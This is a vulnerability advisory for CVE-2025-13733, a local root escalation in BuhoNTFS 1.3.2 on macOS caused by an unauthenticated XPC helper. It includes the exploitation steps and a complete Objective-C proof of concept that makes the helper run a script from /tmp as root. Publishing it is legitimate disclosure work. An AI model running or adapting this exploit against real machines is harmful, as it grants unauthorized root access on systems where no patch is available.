BuhoNTFS 1.3.2 - Local Privilege Escalation

8,4

High

8,4

High

Discovered by

Oscar Uribe

Offensive Team, Fluid Attacks

Summary

Full name

BuhoNTFS 1.3.2 - Local Privilege Escalation via Unauthenticated XPC Service

Code name

State

Public

Release date

12 de dez. de 2025

Affected product

BuhoNTFS

Vendor

Dr.Buho

Affected version(s)

1.3.2

Vulnerability name

Privilege escalation

Vulnerability type

Remotely exploitable

No

CVSS v4.0 vector string

CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:H

CVSS v4.0 base score

8.4

Exploit available

Yes

Description

BuhoNTFS for macOS contains an insecure XPC service that allows local, unprivileged users to escalate their privileges to root. The vulnerability stems from the privileged helper tool com.drbuho.disktool.NTFSHelperTool, which exposes multiple dangerous methods without any authentication or authorization checks.

The XPC service accepts connections from any local process and allows them to:

  • Create directories with root privileges.

  • Execute arbitrary binaries as root via setFSExecPath:.

  • Install kernel extensions.

  • Mount NTFS volumes at arbitrary locations.

  • Access sensitive system information.

The vulnerability is caused by two critical flaws:

  • NTFSListenerDelegate::listener:shouldAcceptNewConnection: accepts all XPC connections without validation.

  • NTFSHelperConnectionValidator::isValidConnection: always returns true without performing any security checks.

Vulnerability

The core of the vulnerability lies in the XPC service implementation that fails to validate connecting clients. The helper tool runs as root and exposes the following dangerous methods:

  • makeDir:completion: - Creates directories with root privileges.

  • setFSExecPath: - Sets the path to the executable that will run as root.

  • installKM:completion: - Installs kernel extensions.

  • mountReadWriteNTFSVolumeWithMountPoint:bsdName:isKMount:completion: - Mounts volumes with arbitrary permissions.

The function listener:shouldAcceptNewConnection calls NTFSHelperConnectionValidator::isValidConnection, which always returns true.

Exploitation Flow
  1. Create a malicious script in /tmp.

  2. Call setFSExecPath with the path to the malicious script.

  3. Trigger execution via mountReadWriteNTFSVolumeWithMountPoint:bsdName:isKMount:completion:

  4. Script executes with root privileges.

PoC

// clang -framework Foundation -framework CoreFoundation -o exploit_priv_esc exploit_exec_root.m

#import <Foundation/Foundation.h>
#import <sys/stat.h>
#import <unistd.h>

@protocol HelperProtocol
- (void)setFSExecPath:(NSString *)arg1;
- (void)mountReadWriteNTFSVolumeWithMountPoint:(NSString *)arg1 bsdName:(NSString *)arg2 isKMount:(BOOL)arg3 completion:(void (^)(NSString *, NSNumber *))arg4;
- (void)ping:(NSString *)arg1 completion:(void (^)(NSString *))arg2;
@end

@protocol XPCHandlerProtocol
- (void)receiveNewEvent:(unsigned long long)arg1 data:(NSData *)arg2 error:(NSError *)arg3;
- (void)logHelperEvent:(NSString *)arg1;
- (void)postEvent:(unsigned long long)arg1 data:(NSData *)arg2 error:(NSError *)arg3;
@end

@interface XPCHandler : NSObject <XPCHandlerProtocol>
@end

@implementation XPCHandler
- (void)receiveNewEvent:(unsigned long long)event data:(NSData *)data error:(NSError *)error {}
- (void)logHelperEvent:(NSString *)event {
    NSLog(@"[+] Helper log: %@", event);
}
- (void)postEvent:(unsigned long long)event data:(NSData *)data error:(NSError *)error {}
@end

void createMaliciousScript(NSString *scriptPath) {
    // malicious script 
    NSString *script = @"#!/bin/bash\n"
                       @"id > /tmp/pwned_by_root\n"
                       @"chown root:wheel /tmp/pwned_by_root\n"
                       @"chmod 644 /tmp/pwned_by_root\n";
    
    NSError *error = nil;
    [script writeToFile:scriptPath atomically:YES encoding:NSUTF8StringEncoding error:&error];
    
    if (error) {
        NSLog(@"[-] Error creating script: %@", error);
        exit(1);
    }
    
    // chmod 755
    chmod([scriptPath UTF8String], 0755);
    NSLog(@"[+] Malicious script created at: %@", scriptPath);
}

int main(int argc, const char * argv[]) {
    @autoreleasepool {
        NSLog(@"[*] ========================================");
        NSLog(@"[*] Exploit: Execute binary as root");
        NSLog(@"[*] Using: setFSExecPath + mountReadWriteNTFSVolumeWithMountPoint");
        NSLog(@"[*] ========================================\n");
        
        // malicious script
        NSString *maliciousScript = @"/tmp/malicious_root_script.sh";
        
        NSLog(@"[*] Creating malicious script");
        createMaliciousScript(maliciousScript);
        
        NSLog(@"\n[*] Connecting to privileged XPC service");
        NSXPCConnection *connection = [[NSXPCConnection alloc] initWithMachServiceName:@"com.drbuho.disktool.NTFSHelperTool"
                                                                               options:0];
        
        connection.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperProtocol)];
        connection.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(XPCHandlerProtocol)];
        connection.exportedObject = [[XPCHandler alloc] init];
        
        connection.interruptionHandler = ^{
            NSLog(@"[-] Connection interrupted");
        };
        
        connection.invalidationHandler = ^{
            NSLog(@"[-] Connection invalidated");
        };
        
        [connection resume];
        NSLog(@"[+] XPC connection established (no authentication)\n");
        
        id<HelperProtocol> helper = [connection remoteObjectProxy];
        
        NSLog(@"[*] Calling setFSExecPath with path to malicious script");
        [helper setFSExecPath:maliciousScript];
        NSLog(@"[+] setFSExecPath(%@) called", maliciousScript);
        
        sleep(1);
        
        NSLog(@"\n[*] Trigger execution through mountReadWriteNTFSVolumeWithMountPoint");
        
        dispatch_semaphore_t semaphore = dispatch_semaphore_create(0);
        
        // Attempt mount ()
        [helper mountReadWriteNTFSVolumeWithMountPoint:@"/tmp/test_mount"
                                               bsdName:@"disk2s1"
                                               isKMount:NO
                                            completion:^(NSString *result, NSNumber *errorCode) {
            NSLog(@"\n[+] Mount callback received");
            NSLog(@"[+] Result: %@", result);
            NSLog(@"[+] Error code: %@", errorCode);
            
            if ([errorCode intValue] == 0) {
                NSLog(@"\n[+] Success: Check if the script was executed");
            } else {
                NSLog(@"\n[*] Mount failed");
            }
            
            dispatch_semaphore_signal(semaphore);
        }];
        
        // wait for callback
        dispatch_semaphore_wait(semaphore, dispatch_time(DISPATCH_TIME_NOW, 10 * NSEC_PER_SEC));
        
        [connection invalidate];
    }
    return 0;
}

Evidence of Exploitation

Poc

File generated as root

Our security policy

We have reserved the ID CVE-2025-13733 to refer to this issue from now on.

Disclosure policy

System Information

  • BuhoNTFS

  • Version 1.3.2 (36)

  • Operating System: MacOs

References

Mitigation

There is currently no patch available for this vulnerability.

Credits

The vulnerability was discovered by Oscar Uribe from Fluid Attacks' Offensive Team.

Timeline

24 de nov. de 2025

Vulnerability discovered

1 de dez. de 2025

Vendor contacted

12 de dez. de 2025

Public disclosure

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As soluções da Fluid Attacks permitem que as organizações identifiquem, priorizem e corrijam vulnerabilidades em seus softwares ao longo do SDLC. Com o apoio de IA, ferramentas automatizadas e pentesters, a Fluid Attacks acelera a mitigação da exposição ao risco das empresas e fortalece sua postura de cibersegurança.

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